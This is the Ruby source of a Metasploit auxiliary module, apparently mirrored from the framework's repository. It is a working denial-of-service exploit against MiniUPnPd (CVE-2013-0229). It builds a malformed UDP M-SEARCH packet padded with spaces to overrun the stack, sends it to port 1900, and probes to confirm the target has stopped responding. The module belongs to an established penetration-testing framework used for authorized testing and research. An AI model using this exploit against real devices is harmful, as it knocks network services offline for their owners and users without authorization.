Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/upnp/miniupnpd_dos.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Udp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(update_info(info,11'Name' => 'MiniUPnPd 1.4 Denial of Service (DoS) Exploit',12'Description' => %q{13This module allows remote attackers to cause a denial of service (DoS)14in MiniUPnP 1.0 server via a specifically crafted UDP request.15},16'Author' =>17[18'hdm', # Vulnerability discovery19'Dejan Lukan' # Metasploit module20],21'License' => MSF_LICENSE,22'References' =>23[24[ 'CVE', '2013-0229' ],25[ 'OSVDB', '89625' ],26[ 'BID', '57607' ],27[ 'URL', 'https://www.rapid7.com/blog/post/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play/' ],28[ 'URL', 'https://www.hdm.io/writing/SecurityFlawsUPnP.pdf' ]29],30'DisclosureDate' => '2013-03-27',31))3233register_options(34[35Opt::RPORT(1900),36OptInt.new('ATTEMPTS', [true, 'Max number of attempts to DoS the remote MiniUPnP ending', 3 ])37])38end3940def send_probe(udp_sock, probe)41udp_sock.put(probe)42data = udp_sock.recvfrom43if data and not data[0].empty?44return data[0]45else46return nil47end48end4950def run51# the M-SEARCH probe packet that tries to identify whether the service is up or not52msearch_probe = "M-SEARCH * HTTP/1.1\r\n"53msearch_probe << "Host:239.255.255.250:1900\r\n"54msearch_probe << "ST:upnp:rootdevice\r\n"55msearch_probe << "Man:\"ssdp:discover\"\r\n"56msearch_probe << "MX:3\r\n"57msearch_probe << "\r\n"5859# the M-SEARCH packet that is being read line by line: there shouldn't be CRLF after the60# ST line61sploit = "M-SEARCH * HTTP/1.1\r\n"62sploit << "HOST: 239.255.255.250:1900\r\n"63sploit << "ST:uuid:schemas:device:MX:3"64# the packet can be at most 1500 bytes long, so add appropriate number of ' ' or '\t'65# this makes the DoS exploit more probable, since we're occupying the stack with arbitrary66# characters: there's more chance that the program will run off the stack.67sploit += ' '*(1500-sploit.length)686970# connect to the UDP port71connect_udp7273print_status("#{rhost}:#{rport} - Checking UPnP...")74response = send_probe(udp_sock, msearch_probe)75if response.nil?76print_error("#{rhost}:#{rport} - UPnP end not found")77disconnect_udp78return79end8081(1..datastore['ATTEMPTS']).each { |attempt|82print_status("#{rhost}:#{rport} - UPnP DoS attempt #{attempt}...")8384# send the exploit to the target85print_status("#{rhost}:#{rport} - Sending malformed packet...")86udp_sock.put(sploit)8788# send the probe to the target89print_status("#{rhost}:#{rport} - The target should be unresponsive now...")90response = send_probe(udp_sock, msearch_probe)91if response.nil?92print_good("#{rhost}:#{rport} - UPnP unresponsive")93disconnect_udp94return95else96print_status("#{rhost}:#{rport} - UPnP is responsive still")97end98}99100disconnect_udp101end102end103104105